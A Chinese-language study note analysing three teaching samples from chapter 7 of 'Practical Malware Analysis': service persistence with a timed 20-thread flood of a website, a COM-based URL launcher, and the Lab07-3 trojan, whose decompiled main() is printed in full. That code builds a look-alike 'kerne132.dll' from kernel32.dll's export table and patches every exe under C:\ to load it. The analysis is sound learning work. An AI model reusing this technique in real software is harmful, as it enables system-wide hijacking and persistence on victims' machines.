Lab07.1.2.3-笔记

来分析一下(恶意代码分析实战)中第7章的三个样本

Lab07-1

image-20260415232049895

这个是主代码这里直接创建了一个服务,然后这个服务的函数sub_401040就是服务的关键

image-20260415232348785

先是创建了一个互斥体让这个代码只运行一遍然后就是获取当前程序路径然后注册一个开机自启的服务(CreateServiceA)然后设置了一个在2100年创建一个20个线程

image-20260415232800167

利用szAgent(浏览器)向szurl(网址)不停的发送请求

这个病毒在每次开机的时候就会启用服务然后再2100年调用20个线程来循环轰炸一个网站

Lab07-2

image-20260415233332106

这个代码非常简单就是用com对象来执行恶意代码

这里其中clsid可以查表在调用函数的时候故意用函数偏移来使用函数而不是直接用函数名来反查杀,而psz更是关键常量储存了一个网址

Lab07-3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
int __cdecl main(int argc, const char **argv, const char **envp)
{
HANDLE FileMappingA; // eax
_DWORD *v4; // esi
HANDLE FileA; // eax
HANDLE v6; // eax
const char **v7; // ebp
_DWORD *v8; // eax
const char *v9; // esi
_DWORD *v10; // ebx
int v11; // ebp
_DWORD *v12; // eax
unsigned int v13; // edi
int v14; // eax
int v15; // ecx
int v16; // edx
int v17; // esi
int v18; // edi
char *v19; // ebx
_DWORD *v20; // eax
const char **v21; // ecx
unsigned int v22; // edx
_DWORD *v23; // ebp
const char *v24; // edx
unsigned int v25; // kr08_4
char *v26; // eax
char *v27; // ebx
unsigned int v28; // kr10_4
bool v29; // cf
_WORD *v31; // [esp+10h] [ebp-44h]
unsigned __int16 *v32; // [esp+14h] [ebp-40h]
_DWORD *v33; // [esp+18h] [ebp-3Ch]
_DWORD *v34; // [esp+1Ch] [ebp-38h]
int v35; // [esp+20h] [ebp-34h]
_DWORD *v36; // [esp+24h] [ebp-30h]
int v37; // [esp+28h] [ebp-2Ch]
int i; // [esp+2Ch] [ebp-28h]
_DWORD *v39; // [esp+30h] [ebp-24h]
unsigned __int16 *v40; // [esp+34h] [ebp-20h]
char *v41; // [esp+38h] [ebp-1Ch]
int v42; // [esp+3Ch] [ebp-18h]
int v43; // [esp+44h] [ebp-10h]
int v44; // [esp+48h] [ebp-Ch]
HANDLE hObject; // [esp+4Ch] [ebp-8h]
HANDLE v46; // [esp+50h] [ebp-4h]
int argca; // [esp+58h] [ebp+4h]
const char **argva; // [esp+5Ch] [ebp+8h]
const char **argvb; // [esp+5Ch] [ebp+8h]

if ( argc == 2 && !strcmp(argv[1], aWarningThisWil) )
{
hObject = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);//映射kernel32.dll
FileMappingA = CreateFileMappingA(hObject, 0, 2u, 0, 0, 0);
v4 = MapViewOfFile(FileMappingA, 4u, 0, 0, 0);
argca = (int)v4;
FileA = CreateFileA(ExistingFileName, 0x10000000u, 1u, 0, 3u, 0, 0);//映射Lab07-3.dll(恶意代码)
v46 = FileA;
if ( FileA == (HANDLE)-1 )
exit(0);
v6 = CreateFileMappingA(FileA, 0, 4u, 0, 0, 0);
if ( v6 == (HANDLE)-1 )
exit(0);
v7 = (const char **)MapViewOfFile(v6, 0xF001Fu, 0, 0, 0);
argva = v7;
if ( !v7 )
exit(0);
v41 = (char *)v4 + v4[15];
v8 = (_DWORD *)sub_401040(*((_DWORD *)v41 + 30), v41, v4);
v9 = &v7[15][(_DWORD)v7];
v10 = v8;
v36 = v8;
v11 = sub_401040(*((_DWORD *)v9 + 30), v9, v7);
v34 = (_DWORD *)sub_401040(v10[7], v41, argca);
v40 = (unsigned __int16 *)sub_401040(v10[9], v41, argca);
v12 = (_DWORD *)sub_401040(v10[8], v41, argca);
v13 = *((_DWORD *)v9 + 31);
v39 = v12;
v14 = sub_401070(*((_DWORD *)v9 + 30), v9, argva);
qmemcpy((void *)v11, v10, v13);
v42 = v14;
v15 = v10[5];
*(_DWORD *)(v11 + 20) = v15;
*(_DWORD *)(v11 + 24) = v10[6];
*(_DWORD *)(v11 + 12) = v11 + 40 + v14;
v35 = v11 + 56;
strcpy((char *)(v11 + 40), "kerne132.dll");
*(_BYTE *)(v11 + 53) = BYTE1(dword_40301C);
*(_WORD *)(v11 + 54) = HIWORD(dword_40301C);
v16 = *(_DWORD *)(v11 + 20);
v17 = v11 + 56 + 4 * v16;
v18 = v11 + 56 + 8 * v16;
v44 = v17;
v43 = v18;
v19 = (char *)(16 * v15 + v11 + 56);
*(_DWORD *)(v11 + 28) = v11 + 56 + v14;
*(_DWORD *)(v11 + 36) = v17 + v14;
*(_DWORD *)(v11 + 32) = v18 + v14;
v20 = v36;
v21 = 0;
v22 = 0;
argvb = 0;
for ( i = 0; v22 < v20[5]; ++v34 )
{
if ( *v34 )
{
v37 = 0;
if ( v20[6] )
{
v23 = (_DWORD *)(v35 + 4 * (_DWORD)v21);
v31 = (_WORD *)(v17 + 2 * (_DWORD)v21);
v33 = v39;
v32 = v40;
do
{
if ( *v32 == v22 )
{
v24 = (const char *)sub_401040(*v33, v41, argca);
strcpy(v19, v24);
*v31 = (_WORD)argvb;
*(_DWORD *)((char *)v23 + v18 - v35) = &v19[v42];
v25 = strlen(v24) + 1;
v26 = &v19[v25];
v27 = &v19[v25 + 9];
*v23 = &v26[v42];
*(_DWORD *)v26 = dword_403070;
*((_DWORD *)v26 + 1) = dword_403074;
v26[8] = byte_403078;
strcpy(v27, v24);
v28 = strlen(v24) + 1;
v20 = v36;
argvb = (const char **)((char *)argvb + 1);
v22 = i;
v19 = &v27[v28];
++v23;
++v31;
}
++v32;
v29 = (unsigned int)++v37 < v20[6];
++v33;
}
while ( v29 );
v21 = argvb;
v18 = v43;
v17 = v44;
}
}
i = ++v22;
}
CloseHandle(hObject);
CloseHandle(v46);
if ( !CopyFileA(ExistingFileName, NewFileName, 0) )//将生成Lab07-3.dll的名字改为kerne132d.dll
exit(0);
sub_4011E0(aC, 0);
}
return 0;
}

这串带吗就是引用kernel32.dll的代码和Lab07.dll的代码来生成kerne132.dll(主要是内存中以偏移的方法将原本的导出表和新的导出表生成kerne132.dll)

然后sub_4011E0(aC, 0);找到了c盘下所有exe文件并修改其中的导入表将kernel32.dll换为kerne132.dll然后每个exe加载的时候就直接加载kerne132.dll

image-20260416001949381

这个就是找到所有的exe文件的函数

image-20260416002045357

这个就是找到kernel32.dll的位置并替换的函数